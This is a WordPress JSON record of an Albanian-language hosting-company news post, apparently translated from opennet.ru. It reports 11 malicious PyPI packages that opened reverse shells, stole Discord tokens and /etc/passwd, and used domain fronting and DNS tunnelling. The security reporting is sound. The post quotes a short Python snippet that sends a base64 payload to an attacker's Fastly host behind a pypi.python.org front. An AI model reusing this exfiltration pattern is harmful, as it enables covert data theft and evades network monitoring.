{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"N\u00eb katalogun PyPI jan\u00eb identifikuar biblioteka malinj q\u00eb p\u00ebrdorin CDN PyPI p\u00ebr t\u00eb fshehur kanalet e komunikimit","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>N\u00eb katalogun PyPI (Python Package Index) jan\u00eb identifikuar 11 paketa q\u00eb p\u00ebrmbajn\u00eb kod t\u00eb d\u00ebmsh\u00ebm. Para se t\u00eb identifikoheshin problemet, paketat kishin ngarkuar rreth 38 mij\u00eb her\u00eb. Paketat e identifikuara si t\u00eb d\u00ebmshme jan\u00eb t\u00eb njohura p\u00ebr p\u00ebrdorimin e m\u00ebnyrave t\u00eb sofistikuara p\u00ebr t\u00eb fshehur kanalet e komunikimit me server\u00ebt e sulmuesve.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 shkarkime), important-package (12897) \u2014 vendoste lidhje me nj\u00eb server t\u00eb jasht\u00ebm duke u b\u00ebr\u00eb si lidhje me pypi.python.org p\u00ebr t\u00eb ofruar akses shell n\u00eb sistem (reverse shell) dhe p\u00ebrdori programin trevorc2 p\u00ebr t\u00eb fshehur kanalin e komunikimit.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 p\u00ebrdor\u00ebn DNS si nj\u00eb kanal komunikimi p\u00ebr t\u00eb transmetuar informacion rreth sistemit (n\u00eb pakon e par\u00eb emri i hostit, katalogu punues, IP e brendshme dhe IP e jashtme, n\u00eb t\u00eb dyt\u00ebn \u2014 emri i p\u00ebrdoruesit dhe hostit).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 identifikuan n\u00eb sistemin ton\u00eb token-in e sh\u00ebrbimit Discord dhe e d\u00ebrguan at\u00eb n\u00eb nj\u00eb host t\u00eb jasht\u00ebm.\n<li class=\"l\"> trrfab (287) \u2014 d\u00ebrgoi n\u00eb nj\u00eb host t\u00eb jasht\u00ebm identifikuesin, emrin e hostit dhe p\u00ebrmbajtjen \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 krijoi nj\u00eb lidhje reverse shell me nj\u00eb host t\u00eb jasht\u00ebm.\n<li class=\"l\"> yandex-yt (4183) \u2014 shfaqi nj\u00eb mesazh p\u00ebr kompromitimin e sistemit dhe redirektoi n\u00eb nj\u00eb faqe me informacione shtes\u00eb p\u00ebr hapat e m\u00ebtejsh\u00ebm, e cila jepet p\u00ebrmes nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Metoda e ve\u00e7ant\u00eb e komunikimit me hostet e jashtme, e p\u00ebrdorur n\u00eb paketat importantpackage dhe important-package, p\u00ebrdori rrjetin e shp\u00ebrndarjes s\u00eb p\u00ebrmbajtjes Fastly, q\u00eb p\u00ebrdoret n\u00eb katalogun PyPI. N\u00eb fakt, k\u00ebrkesat d\u00ebrgoheshin n\u00eb serverin pypi.python.org (duke p\u00ebrfshir\u00eb emrin python.org n\u00eb SNI brenda k\u00ebrkes\u00ebs HTTPS), por n\u00eb t\u00eb nj\u00ebjt\u00ebn koh\u00eb n\u00eb heading-un HTTP 'Host' vendosej emri i serverit t\u00eb kontrolluar nga sulmuesit (sec.forward.io.global.prod.fastly.net). Rrjeti i shp\u00ebrndarjes s\u00eb p\u00ebrmbajtjes drejtonte nj\u00eb k\u00ebrkes\u00eb t\u00eb till\u00eb n\u00eb serverin e sulmuesve, duke p\u00ebrdorur parametrat e TLS t\u00eb lidhjes me pypi.python.org.       <\/p>\n<p>Fryma e infrastruktur\u00ebs PyPI sigurohet p\u00ebrmes rrjetit t\u00eb shp\u00ebrndarjes s\u00eb p\u00ebrmbajtjes Fastly, n\u00eb t\u00eb cilin p\u00ebr keqinformimin e k\u00ebrkesave standarde p\u00ebrdoret nj\u00eb proxy transparent Varnish, dhe gjithashtu p\u00ebrpunimi i certifikatave TLS b\u00ebhet n\u00eb nivelin e CDN, jo n\u00eb serverat p\u00ebrfundimtar\u00eb, p\u00ebr t\u00eb mund\u00ebsuar kalimin e k\u00ebrkesave HTTPS p\u00ebrmes proxy-it. Pavar\u00ebsisht nga hosti i synuar, k\u00ebrkesat d\u00ebrgohen n\u00eb proxy, i cili p\u00ebrcakton hostin e nevojsh\u00ebm sipas heading-ut HTTP 'Host', dhe <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/sq\/domain\/\"   title=\"emrat e domain-eve\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">emrat e domain-eve<\/a> hostet lidhen me adresat IP standarde p\u00ebr t\u00eb gjith\u00eb klient\u00ebt e Fastly t\u00eb balancuesve t\u00eb ngarkes\u00ebs t\u00eb CDN-s\u00eb.      <\/p>\n<p>Serveri i sulmuesve gjithashtu regjistrohet n\u00eb CDN Fastly, e cila ofron plane falas p\u00ebr t\u00eb gjith\u00eb ata q\u00eb duan dhe madje lejon regjistrimin anonim. E ve\u00e7ant\u00eb \u00ebsht\u00eb se p\u00ebr t\u00eb d\u00ebrguar k\u00ebrkesat drejt viktim\u00ebs, gjat\u00eb krijimit t\u00eb 'reverse shell' p\u00ebrdoret gjithashtu nj\u00eb skem\u00eb, por e iniciuar nga ana e hostit t\u00eb kriminel\u00ebve. Nga ana e sulmuesit, nd\u00ebrveprimi me serverin duket si nj\u00eb seanc\u00eb legjitime me katalogun PyPI, e cila \u00ebsht\u00eb e enkriptuar duke p\u00ebrdorur <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/sq\/ssl-sertifikat\/\"   title=\"certifikat\u00ebs TLS\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">certifikat\u00ebs TLS<\/a> PyPI. Kjo teknik\u00eb, e njohur si 'domain fronting', \u00ebsht\u00eb p\u00ebrdorur m\u00eb par\u00eb n\u00eb m\u00ebnyr\u00eb aktive p\u00ebr t\u00eb fshehur emrin e hostit gjat\u00eb kalimit t\u00eb bllokimeve, duke p\u00ebrdorur mund\u00ebsin\u00eb e ofruar n\u00eb disa rrjete CDN p\u00ebr qasje HTTPS me tregimin n\u00eb SNI t\u00eb nj\u00eb hosti t\u00eb rrem\u00eb dhe p\u00ebrmes transmetimit t\u00eb emrit t\u00eb v\u00ebrtet\u00eb t\u00eb hostit t\u00eb k\u00ebrkuar n\u00eb heading-un HTTP 'Host' brenda seanc\u00ebs TLS.     <center><img decoding=\"async\" alt=\"N\u00eb katalogun PyPI jan\u00eb identifikuar biblioteka malinj q\u00eb p\u00ebrdorin CDN PyPI p\u00ebr t\u00eb fshehur kanalet e komunikimit \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>P\u00ebr t\u00eb fshehur aktivitetin mashtrues, u p\u00ebrdor gjithashtu paketa TrevorC2, e cila lejon q\u00eb nd\u00ebrveprimi me serverin t\u00eb duket sikur nj\u00eb shfletim normal web, p\u00ebr shembull, k\u00ebrkesat malinje d\u00ebrgoheshin n\u00ebn petkun e shkarkimit t\u00eb imazhit 'https:\/\/pypi.python.org\/images\/guid=' me informacione t\u00eb koduara n\u00eb parametrin guid.           url = 'https:\/\/pypi.python.org' + '\/images' + '?'' + 'guid=' + b64_payload     r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})      <\/p>\n<p>N\u00eb paketat pptest dhe ipboards u aplikua nj\u00eb qasje tjet\u00ebr p\u00ebr t\u00eb fshehur aktivitetin rrjetor, e bazuar n\u00eb kodimin e informacionit t\u00eb vlefsh\u00ebm n\u00eb k\u00ebrkesat drejtuar server\u00ebve DNS. Malware p\u00ebrcjell informacionin duke realizuar k\u00ebrkesa DNS t\u00eb tipit 'nu4timjagq4fimbuhe.example.com', n\u00eb t\u00eb cilat informacionet e d\u00ebrguara n\u00eb serverin menaxhues jan\u00eb t\u00eb koduara n\u00eb emrin e n\u00ebn-domenit me formatin base64. Krimineli merr informacionet e mesazhit, duke kontrolluar serverin DNS p\u00ebr domenin example.com.<br \/>\n<br \/>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) - \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) - \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47N\u00eb katalogun PyPI jan\u00eb zbuluar Biblioteka t\u00eb d\u00ebmshme q\u00eb p\u00ebrdorin CDN PyPI p\u00ebr t\u00eb fshehur kanalit t\u00eb komunikimit | ProHoster","description":"N\u00eb katalogun PyPI (Python Package Index) jan\u00eb zbuluar 11 paketa q\u00eb p\u00ebrmbajn\u00eb kod t\u00eb d\u00ebmsh\u00ebm. Para zbuluar problemeve, k\u00ebto paketa kan\u00eb arritur t\u00eb shkarkohen rreth 38 mij\u00eb her\u00eb. Paketat e zbuluara t\u00eb d\u00ebmshme bien n\u00eb sy p\u00ebr p\u00ebrdorimin e m\u00ebnyrave t\u00eb nd\u00ebrlikuara p\u00ebr t\u00eb fshehur kanalet e komunikimit me serverat e sulmuesve. importantpackage (6305 shkarkime), important-package (12897) - vendosnin lidhje me nj\u00eb server t\u00eb jasht\u00ebm duke u paraqitur si lidhje me pypi.python.org p\u00ebr ofrimin e","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) - \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f","og:url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}